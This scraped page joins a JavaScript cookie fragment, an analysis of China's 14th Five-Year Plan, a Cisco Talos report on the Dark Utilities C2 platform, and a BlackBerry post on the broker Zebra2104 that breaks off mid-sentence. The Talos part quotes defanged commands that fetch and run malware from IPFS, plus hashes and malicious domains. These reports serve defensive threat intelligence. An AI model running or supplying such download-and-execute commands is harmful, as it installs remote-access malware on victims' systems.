setTimeout("splashpage.closeit()", parseInt(this.autohidetimer) * 1000); } }, getCookie: function(Name) { var re = new RegExp(Name + "=[^;]+", "i"); if (document.cookie.match(re)) return document.cookie.match(re)[0].split("=")[1]; return null; }, setCookie: function(name, value, days) { var expireDate = new Date(); if (typeof days != "undefined") { var expstring = expireDate.setDate(expireDate.getDate() + parseInt(days)); document.cookie = name + "=" + value + "; expires=" + expireDate.toGMTString() + "; " + splashpage.cookiename[1]; } else document.cookie = name + "=" + value + "; " + splashpage.cookiename[1]; } }; if (splashpage.browserdetectstr && splashpage.splashenabled == 1) splashpage.init(); ```
# China’s Five-Year Plan: A Pursuit for GDP Growth & Technological Self-Sufficiency China’s 14th Five-Year Plan draft, which sets goals and strategies for developing the country’s economy until 2025, was unveiled last week. China’s Five-Year Plans set economic and social development targets, and this year’s plan highlights China’s continued interest in technological self-reliance; ongoing geopolitical tensions with the US, Hong Kong, and Taiwan; and the need to address security, cybersecurity, and climate change. QuoIntelligence analyzed the plan carefully. ## At Least Six Percent Economic Growth Planned for Semiconductors and Other High-Tech Industries For the first time, the Five-Year Plan did not set out GDP targets for the whole period but allowed for annual target adjustments, setting a goal of at least 6 percent growth for 2021. Continuing from the previous Five-Year Plan as well as the Made in China 2025 policy, technological self-reliance is central to the Plan as a tool for development and growth. To achieve the GDP growth target, the government will provide strategic support to develop key sectors and increase R&D spending by more than 7 percent annually. The key sectors identified are high-end semiconductors, computer processors, cloud computing, artificial intelligence (AI), quantum information, brain science, genetic research and biotechnology, and clinical medicine and health. ## China’s Pursuit for Economic Independence from the US In light of current geopolitical tensions, China aims to lessen its dependence on foreign suppliers. For example, in the face of US tariffs and trade restrictions, China seeks to promote domestic consumption by boosting Chinese-supplied components and technology and relying less on foreign inputs. Additionally, the Five-Year policy aims to bolster China’s national security system with an announced 6.8 percent rise in military spending. ## Key Takeaways Through a Cybersecurity and Geopolitics Lens From the perspective of cyber intelligence, international security, and geopolitics, the key takeaways and potential implications from the 14th Five-Year Plan are: - **Achieving technological self-sufficiency**: Chinese leaders identified tech development as a matter of national security for the first time in a Five-Year Plan. This comes as a result of increasing pressure on trade, such as through US sanctions and tariffs, which impact China’s ability to rely on a stable supply of the technologies that help drive its economic growth. - **Increased importance of tech development**: This could lead to an increase in cyber industrial espionage. QuoIntelligence observed Chinese-linked Advanced Persistent Threat (APT) groups, like the Winnti Group, targeting companies in sectors of high interest to the Chinese government. Furthermore, China’s emphasis on developing alternative supply chains to counteract US sanctions will likely further exacerbate the ongoing tech race. - **Growth strategy centered on boosting domestic demand**: China is trying to counter US tariffs by boosting domestic demand while also promoting the integration of the Chinese economy with the rest of the world. However, prioritizing the consumption of Chinese-made products could increase costs for Chinese companies relying on imported goods and technology and hinder growth objectives. - **National security focus and increased defense expenditure**: The plan contains a special section for security development, aiming to bolster national security capabilities. The plan contemplates a 6.8 percent rise in military spending amid territorial disputes with India, as well as tensions with Taiwan and in the South China Sea, as well as ambitions to match the US and Russia in weapons technology. - **Actively deploy global partnerships with the EU**: Amid tensions with the US government, China appears to be prioritizing partnerships with nations regarded as close US allies. For example, China intends to finalize an investment treaty with the EU based on an agreement reached last December and aims to implement the China-Japan-South Korea free trade agreement. - **Reduce CO2 emissions intensity**: China aims to reduce the amount of CO2 produced by 18 percent over the period 2021 to 2025. The prioritization of new and green technology might also result in increased industrial espionage, which would allow Chinese companies to accelerate the development of green products. - **Tighten control over Hong Kong**: While the central government said it will ensure the implementation of the doctrine that guarantees Hong Kong’s high degree of autonomy, officials have announced changes to Hong Kong's electoral system that will reduce the public’s role in government. This could complicate China’s relations with Western countries and potentially hinder trade agreements with the EU. ## Espionage Campaigns Targeting the High-Tech Sector Expected to Rise The Five-Year Plan provides insight into China’s priorities in the coming years and can help countries and organizations forecast future challenges. The 2021-2025 Five-Year Plan positions technology innovation as a matter of national security. As a result, QuoIntelligence expects continued sophisticated espionage campaigns targeting the high-tech sector, particularly the semiconductor sector. In addition, emerging tech sectors such as quantum computing and self-driving and hydrogen cars could become increasingly targeted. China’s growing focus on its military development and defense expenditure indicates a shift from using trade and economics to further China’s interests globally, to also include military power. China’s more aggressive tone, already seen with democratic restrictions in Hong Kong and continued pressure on Taiwan, could hinder China’s relations with Western countries, such as the potential EU trade agreement.
# Attackers Leveraging Dark Utilities "C2aaS" Platform in Malware Campaigns **By Cisco Talos** **August 4, 2022** ## Executive Summary Dark Utilities, released in early 2022, is a platform that provides full-featured C2 capabilities to adversaries. It is marketed as a means to enable remote access, command execution, distributed denial-of-service (DDoS) attacks, and cryptocurrency mining operations on infected systems. Payloads provided by the platform support Windows, Linux, and Python-based implementations and are hosted within the Interplanetary File System (IPFS), making them resilient to content moderation or law enforcement intervention. Since its initial release, we've observed malware samples in the wild leveraging it to facilitate remote access and cryptocurrency mining. ## What is "Dark Utilities?" In early 2022, a new C2 platform called "Dark Utilities" was established, offering a variety of services such as remote system access, DDoS capabilities, and cryptocurrency mining. The operators of the service also established Discord and Telegram communities where they provide technical support and assistance for customers on the platform. Dark Utilities provides payloads consisting of code that is executed on victim systems, allowing them to be registered with the service and establish a command and control (C2) communications channel. The platform currently supports Windows, Linux, and Python-based payloads, allowing adversaries to target multiple architectures without requiring significant development resources. During our analysis, we observed efforts underway to expand OS and system architecture support as the platform continues to see ongoing development activities occurring. The platform, hosted on the clear internet and Tor network, offers premium access to the platform, associated payloads, and API endpoints for 9.99 euros. At the time of writing, the platform had enrolled roughly 3,000 users, which is approximately 30,000 euros in income. Given the relatively low cost compared to the amount of functionality the platform offers, it is likely attractive to adversaries attempting to compromise systems without requiring them to create their own C2 implementation within their malware payloads. Almost immediately, we observed malware samples using this service in the wild as a way to establish C2 communications channels and establish remote access capabilities on infected systems. We've observed malware targeted Windows and Linux systems leveraging Dark Utilities. ## Dark Utilities Platform Functionality The Dark Utilities platform leverages Discord for user authentication. Once authenticated, users are presented with a dashboard displaying various statistics about the platform, server health status, and other metrics. To register new bots with the service, a payload must be generated and deployed on victim machines. At the time of writing, the platform supports several operating systems. Selecting an operating system causes the platform to generate a command string that threat actors are typically embedding into PowerShell or Bash scripts to facilitate the retrieval and execution of the payload on victim machines. An example of this for a payload targeting the Windows operating system is shown below: ```bash cd %userprofile%\Documents && mkdir Steam && cd .\Steam && curl hxxps[:]//ipfs[.]infura[.]io/ipfs/QmRLaPCGa2HZTxMPQxU2VnB9qda3mUv21TXrjbMNqkxN6Z >> launcher.exe && .\launcher.exe [ACCOUNT_STRING_PARAMETER] ``` For Linux-based payloads, an example command string is: ```bash cd /tmp/;curl hxxps[:]//ipfs[.]infura[.]io/ipfs/QmVwqSG7TGceZJ6MWnKgYkiyqnW4qTTRq61ADDfMJaPEoG > ./tcp-client;chmod +x tcp-client; ./tcp-client [ACCOUNT_STRING_PARAMETER] ``` Recently, the platform added support for other architectures such as ARM64 and ARMV71, which they describe as being useful for targeting various embedded devices such as routers, phones, and internet-of-things (IoT) devices. The use of IPFS for hosting the payload binaries provides resilience against content moderation or takedowns, as IPFS is a distributed, peer-to-peer network explicitly designed to prevent centralized authorities from taking action on content hosted there. IPFS supports the use of IPFS gateways, which operate similarly to Tor2Web gateways in that they allow users on the internet to access contents hosted within IPFS without requiring a client application to be installed. We have observed adversaries increasingly making use of this infrastructure for payload hosting and retrieval as it effectively provides "bulletproof hosting." For administering bots that have been registered with the Dark Utilities platform, a "Manager" administrative panel is provided. The panel lists the systems under the account's control and provides several built-in modules for using them to conduct denial-of-service attacks, perform cryptocurrency mining, and execute commands across systems under their control. The platform provides built-in interfaces to conduct two different types of DDoS attacks, both of which support multiple methods. Layer 4 supports TCP, UDP, and ICMP, as well as a variety specifically designed for various gaming platforms such as Teamspeak3, Fivem, GMOD, and Valve, along with specific video games like "Counter Strike: Global Offensive" and "Among Us." Layer 7 supports the GET, POST, HEAD, PATCH, PUT, DELETE, OPTIONS, and CONNECT methods. The cryptocurrency mining functionality leverages pool[.]hashvault[.]pro for Monero mining and simply requires that the adversary's Monero wallet address be provided. The platform also provides distributed command execution as well as a Discord grabber that can be run against large numbers of systems simultaneously. Once an infected system has established an active C2 channel, the adversary obtains full access to the system in the context of the compromised user account. An interactive PowerShell prompt is provided directly within the admin panel. A built-in Python interpreter allows adversaries to define Python scripts to be executed on systems under their control from within the admin panel itself. The platform also exposes a REST API that can automate the administration of compromised systems. Example code is provided for instructing compromised systems to conduct DDoS attacks against targets. The marketing and rules associated with the use of the platform appear to attempt to minimize liability for the platform operators by staying within legal gray areas with regard to the use of the platform for illegal or illicit purposes. The documentation provided by the platform, however, also provides step-by-step instructions for conducting reconnaissance, identifying vulnerabilities, and exploiting them to "infect servers" for use in a botnet. Given the low cost associated with the platform and the amount of functionality it provides, it is likely that this will continue to be increasingly popular with threat actors seeking to build botnets without requiring significant amounts of time and effort to develop their own malware. ## Who is Behind Dark Utilities? Dark Utilities appears to have been created and is currently managed by a persona that goes under the moniker Inplex-sys. Looking closer into the history of that persona, Talos found several instances where they claimed to be a French speaker, although we observed inplex-sys communicating in English, too. The inplex-sys persona does not have a long history in the cybercriminal underground space. Aside from a brief interaction on the Hack Forums platform, inplex-sys has limited their activity to messaging/bot platforms such as Telegram and Discord. Shortly after the platform was launched, we observed inplex-sys advertising it within the Lapsus$ Group — a high-profile actor that recently had several members arrested — Telegram channel. Talos also found a record for inplex-sys on a doxxing service called Doxbin, which indicated that their location was in Germany. We assess that this Doxbin entry is either incorrect or was intentionally released as a decoy and that they are indeed located in France. Based on limited interaction and other behavioral revelations, it does appear inplex-sys is the main persona behind Dark Utilities; however, there is no indication that they manage and develop it solely by themselves. We observed the same moniker being used on the video game storefront Steam and advertising the Dark Utilities service and others, with links to their respective websites. Smart Bot is a bot management platform designed for use in launching spam attacks, or "raids" against the Discord and Twitch communication platforms. These attacks are often conducted to disrupt legitimate communications by flooding the platforms with large quantities of spam messages, which could cost streamers revenue. Demo videos uploaded to YouTube show the tool in action against streamers on Twitch. The Omega Project purports to be a web panel that can be used to administer servers. They offer a free and paid version of the service. The advertisement displayed on the Omega Project website claims that if the Premium service is purchased, customers' servers will be "secure from all backdoors." The Smart Bot project lists additional individuals as creators of the project. These individuals appear to have a collaborative relationship with inplex-sys, with one of the Smart Bot creators recently publishing a GitHub repository containing a NodeJS API tool to interact with the Dark Utilities platform. ## Dark Utilities Payload Analysis The Dark Utilities payloads consist of a Python script that has been compiled into either a Windows PE32+ executable or a Linux ELF executable. We decompiled the binaries to obtain the original Python source code for the payloads. The Linux payload available during our analysis did not actually require the runtime parameter previously described. If no parameter is specified when the executable is launched, it associates the bot with a default owner, presumably associated with the platform developer. The Python script contains code for Windows and Linux-based systems and first identifies the architecture of the system it is running on, CPU information, and other system details. It then determines if the payload can be updated by communicating with the Dark Utilities API to obtain the latest version information available to compare with the version currently running on the system. If an updated payload is available, the malware will retrieve it via an IPFS gateway, similar to what was previously described. Next, the payload attempts to achieve persistence on the system allowing it to execute following system reboots. If the infected system is Windows, the malware will create a Registry run key. If the system is a Linux-compatible system, the malware will attempt to locate and remove any existing Kinsing malware and clear the existing Crontab configuration. It will then create either a Crontab entry or a Systemd service to ensure that the payload is launched following system reboots. We observed that in the version analyzed, the alphanumeric string associating the system with a specific Dark Utilities account is not defined when persistence mechanisms are established, which results in the malware using the default account string described earlier following system reboots. This issue was observed on both Windows and Linux systems. The script also contains the code responsible for activating various payload functionality such as cryptocurrency mining, DDoS attacks, etc. If the Monero mining option is deployed, the malware will retrieve XMRig via an IPFS gateway and execute it on the system. The malware uses the Hashvault mining pool and sets a maximum CPU usage value based on the OS of the compromised system. If Task Manager is launched on the infected machine, the malware attempts to evade detection by terminating the mining process. The script also defines a class called Attack with subclasses for Layer4 and Layer7 DDoS attack payloads that can be configured and activated via the admin panel. Below are some examples of the payloads defined in the script that target various gaming servers such as "CS:GO," "AmongUs," and TeamSpeak. The malware uses the following code to handle executing arbitrary system commands using the shell provided in the admin panel. It also supports navigating the filesystem of infected machines via the interface provided by the platform. Python code specified by the adversary can also be executed by the malware payloads. ## Malware Currently Leveraging Dark Utilities Since the platform was established in early 2022, we have observed a variety of malware samples that leverage Dark Utilities for C2 communications. This includes malware targeting the Windows and Linux operating systems. In one example, the Stage 1 payload is an executable responsible for dropping a PowerShell script stored within a subfolder of the %TEMP% directory that is also created during Stage 1 execution. The PowerShell is then executed as follows: ```bash "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" –NoProfile -ExecutionPolicy Bypass -File C:\Users\[USERNAME]\AppData\Local\Temp\78E6.tmp\7916.tmp\7956.ps1 ``` The PowerShell is responsible for retrieving the Dark Utilities payload via IPFS and executing it on the system. An example of the PowerShell syntax used is shown below: ```bash cd C:\Users\$env:UserName\Documents\;mkdir Github;cd C:\Users\$env:UserName\Documents\GitHub\;$uri = ('hxxps[:]//ipfs[.]infura[.]io/ipfs/QmbGk4XnFSY8cn4uHjNq6891uLL1zoPbmTigj7YFyPqA2x');curl $uri -o tcp-client.exe; .\tcp-client.exe M0ImZlMzJldIRzFHcSRIMilAKkkwZi8 ``` The Stage 2 payload (the Dark Utilities Windows payload) is stored within a subdirectory of the Documents folder the PowerShell creates. The payload is then executed and passed the threat actor's alphanumeric string. This results in the system registering under the attacker’s Dark Utilities account, granting them full control of the compromised system. In this case, the Dark Utilities platform was accessed via a Tor2Web gateway that enables the infected system to communicate with Dark Utilities without requiring the installation of a Tor client. We have observed similar implementations targeting other operating systems like Linux, where adversaries are leveraging shell scripts to perform the payload retrieval and execution. In many cases, the alphanumeric string passed as a parameter differs across samples, which may indicate that multiple distinct threat actors are taking this approach to obtain the C2 on compromised systems. The C2 platform itself has moved across various TLDs over time — we have observed samples attempting to retrieve payloads from the site at various points when it was hosted on the ME, XYZ, and PW TLDs. ## Conclusion Although the Dark Utilities platform was recently established, thousands of users have already been enrolled and joined the platform. Given the amount of functionality that the platform provides and the relatively low cost of use, we expect this platform will continue to rapidly expand its user base. This will likely result in an increase in the volume of malware samples in the wild attempting to establish C2 using the platform. Organizations should be aware of these C2aaS platforms and ensure that they have security controls in place to help protect their environments. These platforms provide a variety of sophisticated capabilities to adversaries who may otherwise be unable to develop them on their own. They effectively lower the barrier to entry for cybercriminals entering the threat landscape and enable them to quickly begin launching attacks targeting a variety of operating systems. They also offer multiple methods that can be used to further monetize access gained to systems in corporate environments and could lead to further deployment of malware in the environment once initial access has been obtained. ## Indicators of Compromise The following indicators of compromise have been observed associated with malware campaigns leveraging the Dark Utilities platform. ### Hashes (SHA256) - 09fd574a005f800e6eb37d7e2a3ca640d3ac3ac7dbbde42cbe85aa9e877c1f7f - 0a351f3c9fb0add1397a8e984801061ded0802a3c45d9a5fc7098e806011a464 - 0d76fa68b7d788b37c9e0368222819a9ea3f53c70de61e5899cfbeff4b77b928 - 1e6e0918d2c93d452d9b3fbcac2cb3202ae3d97394eae6239c2d112791ec8260 - 240d2029d6f1ca1ee8b5c2d5f0aa862724502f71c48d5544ee053def4c0d83ec - 24a5f9a37ed983e9377e0a5c7c5e20db279e3f1bd62acbd7a038fd75b1686617 - 2e377087d0d2cb90b631ab0543f60d3d5d56db8af858cf625e7a9a26c8726585 - 2edc356fe59c53ce6232707ae32e15e223c85bbaef5ed6a4767d5c216c3fd4e7 - 36a1b2c71afe03cc7a0f8eb96b987283bf174eafaade62c20ec8fd6c1b0c1d93 - 38ee6cc72b373228f7ffddbbf0f78734f85600d84095b057651028472777bde8 - 41a7d1fa7c70a82656d2fa971befd8fa47a16815a30ff3f671794b0377d886b3 - 464864cf0c19885d867fdeebec68d72adb72d91910d39f5fc0d0a9c4e3b7ea53 - 4c252e74d77d50263430c388c08dc522aaeb15ef440c453b2876330a392b85de - 4d471cf939cc9d483587b74c0ffebed1b8a3f198d626e4a08d93d689f98122c8 - 50d0f98b17ca7d37dc8cd70cca2bad4c920b2bb1c059292fe6d203e94716f9bf - 52ad5431eeac730b3ff3cfd555d7d6f3fd4b127c9f2d7aa02fc64e48c2eb0ff5 - 52ba9b0afe0d13957f7f49383b2c1d106e17b4a42c3819973d9862ded7559310 - 5537a103aebc9237ba6dbc208c4a72c9944fb5de5b676ec684bd4f08b2c49fe7 - 645190d1702b309b3db5fbbad7ac747afb57fd8119daf39f17f5b5b5868fb136 - 646b798f9a3251e44703b6e72858dbb854b9d4fb8553fe1e387903b06f4bfe50 - 65a1b3fb9430c7342d13f79b460b2cc7d9f9ddced2aeecd37f2862a67083e68c - 6aa4dceb8c7b468fed2fa1c0b275a0bc4b1500325a3ad42576e7b3b98218614f - 6b5b632f9db3a10cf893c496acbf8aecf460c75353af175ab3d90b9af84d4ca3 - 6c29ff8b0fae690356f85138b843ea2e2202e115e4b1213d96372b9eeef4f42c - 6ca488cfbee32e4ea6af8a43b1e0b1a09c8653db7780aa5ff3661e1da31d751a - 70706788666c7190803d6760e857e40d076ae69dc6cc172f517a46d8107127e6 - 72de1dafc8517aa82578b53518959642dc1aede81fc2da9fe01b5070100560d6 - 74984b6e514a4b77f20ed65a8b490313cbf80319eb3310ed8bca76f83e449564 - 755e02e1cc3357ec78a218347e4b40aa81783f01658cdf9fc0558e21d2d982ad - 7e183f6c9e69535324f5e05bea3fde54a3151c9433717a9111bde6423eaee192 - 83fd0ced1eaf5f671c3837592684fb04a386649d2eaa12aa525fb73ac3b94a1a - 8c59a3125891d8864f385724cd2412e099b88d1a9023a63fd61944ad0f4631d1 - 92aa81228137d571be956045cf673603e994c5e6d1a35559881e34b99e1e01fa - 9d82b17a781835d1f2101e08a628fd834d05fabd53750fee8a0e5565dbdc7842 - 9e7fd31dfd530a8df90b80c4ae8ca89484e204a8c036125324cd39aa5cd8b562 - a2e17c802369254de783115c1c47ddb2ae0e117d3f4be99a8d528f50f7a55e5d - a8fda5e327d5f66a96657cb54d229f029e8e468aac30707331c77dbc53a0e82b - ad50c79f66f6a7b7d8db43105fc931b7f74e1c9efb97e0867cafb373834e88ce ### Domains - dark-utilities[.]xyz - dark-utilities[.]pw - dark-utilities[.]me - ijfcm7bu6ocerxsfq56ka3dtdanunyp4ytwk745b54agtravj2wr2qqd[.]onion[.]pet - bafybeidravcab5p3acvthxtwosm4rfpl4yypwwm52s7sazgxaezfzn5xn4[.]ipfs[.]infura-ipfs[.]io
# Hunter Becomes Hunted: Zebra2104 Hides a Herd of Malware **The BlackBerry Research & Intelligence Team** ## Executive Summary The BlackBerry Research & Intelligence Team has uncovered an unusual connection between the actions of three distinct threat groups, including those behind financially motivated ransomware such as MountLocker and Phobos, as well as the espionage-related advanced persistent threat (APT) group known as StrongPity. While it might seem implausible for criminal groups to be sharing resources, we found these groups had a connection that is enabled by a fourth; a threat actor we have dubbed Zebra2104, which we believe to be an Initial Access Broker (IAB). In this post, we will discuss what led us to these findings, what an IAB is, and how each piece fits into the puzzle. Once we look at each piece in context, we can better assess the full ramifications of these discoveries and project what is yet to come. ## Introduction When conducting research for our book, “Finding Beacons in the Dark: A Guide to Cyber Threat Intelligence,” we stumbled upon a domain that piqued our interest due to its similarity to a naming convention that we’d seen in a previous threat hunt. This single domain led us down a path where we would uncover multiple ransomware attacks and an APT command-and-control (C2). The path also revealed what we believe to be the infrastructure of an IAB: Zebra2104. IABs typically first gain entry into a victim’s network, then sell that access to the highest bidder on underground forums located in the dark web. Later, the winning bidder will often deploy ransomware and/or other financially motivated malware within the victim’s organization, depending on the objectives of their campaign. This discovery presented a great opportunity for us to understand the attribution of IABs. Performing intelligence correlation can help us build a clearer picture of how these disparate threat groups create partnerships and share resources to further enhance their nefarious goals. As we delved into and peeled off each overlapping layer throughout our investigation, it appeared at times that we were merely scratching the surface of such collaborations. There is undoubtedly a veritable cornucopia of threat groups working in cahoots, far beyond those mentioned in this blog. In this first installment, we will document the tip of this iceberg. A more comprehensive set of findings will come in a follow-up piece in the near future. Now, let’s explore what we found! ## It All Begins with Cobalt Strike In April of 2021, we observed the domain trashborting.com serving Cobalt Strike Beacons. We also identified multiple Beacons containing differing configuration data that was reaching out to this same domain during April and August of this year. One such Beacon served from the IP 87.120.37.120 had trashborting.com specified as the C2 server in its configuration. | IP | Country | ASN | ASN Number | |------------------|-----------|--------------|------------| | 87.120.37.120 | Bulgaria | Neterra Ltd | AS34224 | The domain trashborting.com had previously resolved to this IP address, as well as the neighboring IP 87.120.37.119. These IP addresses had also hosted two domains with the .us Top Level Domain (TLD): - lionarivv.us - okergeeliw.us ## Rediscovering Malicious Spam Infrastructure Each of the aforementioned domains had a mail server and associated MX record, meaning they had the capability to send emails en masse. By examining the WHOIS information for these servers, we discovered that both domains were registered on 2020-09-12 by the email address georgesdesjardins285@xperi.link. By digging into the domain registrant information, we found that this email address had registered eight additional .us domains on the same date. These domains popped up previously in a Microsoft blog titled: “What tracking an attacker’s email infrastructure tells us about persistent cybercriminal operations.” The Microsoft 365 Defender Threat Intelligence Team found that these servers had been serving malspam that resulted in varying ransomware payloads, such as Dridex, which we were able to corroborate. | Type | IOC | |--------|--------------------------| | Domain | bertolinnj.us | | Domain | eixirienhj.us | | Domain | auswalzenna.us | | Domain | megafonasgc.us | | Domain | zensingergy.us | | Domain | infuuslx.us | | Domain | mipancepezc.us | | Domain | kavamennci.us | The interlinking relationships between all these domains can be seen in Figure 1 below. ## Dridex Malspam Two domains of particular interest to us were kavamennci.us and zensingergy.us. These were involved in a phishing campaign targeting Australian real estate companies and state government departments in September of 2020, which are evidenced as follows. The first spam-mail was sent from an address coming from the kavamennci.us domain, and it appears to target employees at one of Australia's largest property groups. The mail was titled “Your Transaction was Approved 697169IR54253” and it contained an embedded hyperlink that decoded to “hxxps://mail.premiumclube.org.br/zpsxxla.php.” The second email was directed at an Australian government agency, and titled “Payment Notification-0782704YX50906.” Sent from an address originating from the “zensingergy.us” domain, this email contained a similar embedded link: “hxxps://magesty.in-expedition.com/zxlbw.php.” In addition, the last portion of the embedded malicious links — “zpsxxla.php” and “zxlbw.php” — also appear in the Microsoft blog, and are mentioned as part of a Dridex campaign from September 2020 that was described by Microsoft as follows: “These Dridex campaigns utilized an Emotet loader and initial infrastructure for hosting, allowing the attackers to conduct a highly modular email campaign that delivered multiple distinct links to compromised domains. These domains employed heavy sandbox evasion and are connected by a series of PHP patterns ending in a small subset of options: zxlbw.php, yymclv.php, zpsxxla.php, or app.php.” This is significant because it demonstrates the power of open-source intelligence (OSINT) and threat hunting. Initially, we started off with one domain (trashborting.com), which helped us to unravel other threat actors that we will look at in more detail later. Although Dridex is not the target of this paper, it is certainly a noteworthy find to mention. ## Peering Down the Intelligence Rabbit Hole The trashborting.com domain was registered with a ProtonMail email address (ivan.odencov1985@protonmail.com) and contained Russian WHOIS registrant information: | Type | IOC | |---------------------|------------------------------------------| | Registrar | PDR Ltd. d/b/a PublicDomainRegistry.com | | Domain Status | client delete prohibited | | | client update prohibited | | | client delete prohibited | | | client hold | | Email | Ivan.odencov1985@protonmail.com | | Name | Ivan (registrant, admin, tech) | | Organization | - | | Street | - | | City | Moscow (registrant, admin, tech) | | State | Moscow (registrant, admin, tech) | | Postal Code | 123066 (registrant, admin, tech) | | Country | RU (registrant, admin, tech) | | Phone | +7.993216690 (registrant, admin, tech) | | Name Servers | ns1.entrydns.net | | | ns2.entrydns.net | | | ns3.entrydns.net | | | ns4.entrydns.net | This email address was also used to register two additional sister domains on the same date: July 17, 2020. Both had been observed serving Cobalt Strike Beacon. In March of 2021, Sophos listed supercombinating.com as an indicator of compromise (IOC). The MountLocker group is a financially motivated threat group that offers a Ransomware-as-a-Service (RaaS) model; they have been active since July of 2020. As has become the trend with recent ransomware operators, MountLocker employs double extortion tactics. This means that the malware operators exfiltrate sensitive documents and data from the victim prior to encryption, then threaten to publish said data on the dark web should their ransom demands not be met. Such attacks typically leverage Cobalt Strike Beacon to both spread laterally and propagate the MountLocker ransomware within the victim network. In this instance, this is done via supercombinating.com. Sophos has supposed that the MountLocker group has links to, or has in fact become, the recently emerged AstroLocker group. This is because one of the group’s ransomware binaries has been linked to a support site of AstroLocker. It’s possible that this group is trying to shed any notoriety or baggage that it had garnered through its previous malicious activities. ## MountLocker Activity At this point, we noticed that supercombinating.com had also resolved to the IP address 91.92.109.174, which itself had hosted the domain mentiononecommon.com. Both domains resolved to this IP in an alternating fashion between April and November of 2020. This alternating resolution timeline can be seen below: So, what does this mean, and where does mentiononecommon.com fit into the puzzle? The answer to this question requires a little more background information to paint a clearer picture. Additional OSINT led to us uncover links between mentiononecommon.com and the APT group known as StrongPity. Before we discuss those connections, let’s look at who the StrongPity group are, and what they are known for. ## Why Hello There, StrongPity! StrongPity, aka Promethium (Microsoft), is an APT group that has been operational as far back as 2012. It was previously alleged that this group is Turkish state-sponsored, though this is unconfirmed. Their modus operandi has typically been to use watering hole attacks to deliver Trojanized versions of various commonly used utilities. To accomplish these attacks, a combination of imitation websites and redirects are employed to lure the victim into a false sense of security. Utilities such as WinRAR, Internet Download Manager, and CCleaner have all been victimized in the past to deliver the group’s malware. The scope of their activities includes victims based across several continents. In June of 2020, Cisco’s Talos Intelligence reported mentiononecommon.com as a StrongPity C2 server. The domain also served three files related to StrongPity, one of which was the previously mentioned Trojanized version of the Internet Download Manager utility. | SHA256 | Filename | |--------------------------------------------------------------------------------------------------|-------------------| | c936e01333e3260547a8c319d9cfc1811ba5793e182d0688db679ec2b30644c5 | Installer.exe | | e843af007ac3f58e26d5427e537cdbddf33d118c79dfed831eee1ffcce474569 | SecurityHost.exe | | 8844d234d9e18e29f01ff8f64db70274c02953276a2cd1a1a05d07e7e1feb55c | SecurityHost.exe | Furthermore, the domain mentiononecommon.com was registered to the email address timofei66@protonmail.com, which also has WHOIS registrant information pointing to Russia. While this is far from definitive evidence, it is certainly a notable similarity. | Type | IOC | |---------------------|------------------------------------------| | WHOIS Server | whois.namecheap.com | | Registrar | NameCheap, Inc. | | Domain Status | clientTransferProhibited | | Email | Timofei66@protonmail.com (registrant, admin, tech) | | Name | Timofei Solomin (registrant, admin, tech) | | Organization | - | | Street | YU.gagarina, bld. 12/2, appt. 76 (registrant, admin, tech) | | City | Ufa (registrant, admin, tech) | | State | Respublika Bashkortostan (registrant, admin, tech) | | Postal Code | 49875 (registrant, admin, tech) | | Country | RUSSIAN FEDERATION (registrant, admin, tech) | | Phone | 77347382066 (registrant, admin, tech) | At this point, we started to suspect that MountLocker and StrongPity may have worked together in some capacity. This theory seemed unlikely, as their motivations did not appear to align. Despite the improbability of the hypothesis, we set out to see whether we could prove it, and we stumbled upon yet another curious find. ## Three Groups — Is That All? Through a tweet from The DFIR Report, we saw that more ransomware was deployed from supercombinating.com, but it was not MountLocker as we had seen previously. This time, Phobos ransomware took its place, which we confirmed through the linked Any.Run sandbox report. This raised more questions. Were MountLocker and Phobos possibly related? Were two different ransomware groups operating from the same infrastructure? Was this a delivery system? Was an IAB playing a part in all this? Phobos is a ransomware variant that was first seen in early 2019. It is thought to be based on the Dharma ransomware family. Unlike a lot of other ransomware operators that cast for larger “whale”-sized organizations, Phobos has been seen angling for small-to-medium-sized organizations across a variety of industries, with its average ransom payment received being around $54,000 in July of 2021. A possible insight as to why the authors chose the name for their ransomware is that Phobos was the god of fear in ancient Greek mythology. Few malware groups are so direct about the feeling they seem to want to instill in their victims. ## A Mysterious Fourth Group Emerges This new information presented a bit of a conundrum. If MountLocker owned the infrastructure, then there would be a slim chance of another ransomware operator also working from it, although it has happened before. Back in June 2020, the Maze threat actor group added stolen files to its leak site. However, upon visiting the leak site, the stolen data was actually provided by the LockBit threat actor group. When Bleeping Computer reached out to Maze for more information regarding the implied partnership between them and LockBit, the Maze group replied with the following: “In a few days another group will emerge on our news website, we all see in this cooperation the way leading to mutual beneficial outcome, for both actor groups and companies. Even more, they use not only our platform to post the data of companies, but also our experience and reputation, building the beneficial and solid future. We treat other groups as our partners, not as our competitors. Organizational questions is behind every successful business.” In several instances, a delay was observed between an initial compromise using Cobalt Strike and further ransomware being deployed. Based on these factors, we can infer that the infrastructure is not that of StrongPity, MountLocker, or Phobos, but of a fourth group that has facilitated the operations of the former three. This is either done by providing initial access or by providing Infrastructure as a Service (IaaS). ## IABs: the Lowdown An IAB performs the first step in the kill chain of many attacks; this is to say they gain access into a victims' network through exploitation, phishing, or other means. Once they have established a foothold (i.e., a reliable backdoor into the victim network), they then list their access in underground forums on the dark web, advertising their wares in hopes of finding a prospective buyer. The price for access ranges from as little as $25, going up to thousands of dollars. Typically, the more annual revenue that the target organization generates, the higher the price an IAB charges for “access.” Upon successful sale agreement, the winning bidders will generally deploy their malware of choice. This can be anything from ransomware to infostealing malware, and everything in between. We believe that our three threat actors – MountLocker, Phobos, and StrongPity, in this instance – sourced their access through these means. ## Additional IAB Infrastructure? We saw two new domains registered on July 21, 2021, both of which resolved to the same IP address of 87.120.37.120: - ticket-one-two.com - booking-sales.com Ticket-one-two.com has not been used at the time of writing, however its counterpart, booking-sales.com, had served one specific item of note; a tiny, 13KB portable executable (PE) file that upon inspection proved to be a shellcode loader. This loader turned out to be loading a shellcode Cobalt Strike DNS stager, which is used to download a Cobalt Strike Beacon via DNS TXT records. ## Taking a Closer Look at the Loader/DNS Stager The shellcode loader expects a specific command-line argument in order to execute properly, which it hashes and then checks against the value 0xB6E35C. Fortunately, we can just patch a comparison and proceed without a match. The file then allocates RWX memory using VirtualAlloc, and then decodes data stored within the binary into memory, using a combination of subtraction and division operations – no special cryptography necessary here. Disassembling the shellcode in the disassembly tool IDA, we can immediately identify a new domain that appears to be trying to masquerade as a DNS name-server. We can also see what appear to be 4-byte hex values being pushed onto the stack before a call. This is indicative of Windows API import name hashing, a common technique to masquerade the loading of API calls from identification during analysis. We then see that it performs a DNS query on the URL using DnsQueryA. Once it receives a DNS response, it parses out the TXT Record from the DNS response and checks its length. This behavior is typical of a DNS stager; it pulls down a later stage payload via the DNS TXT records, abusing 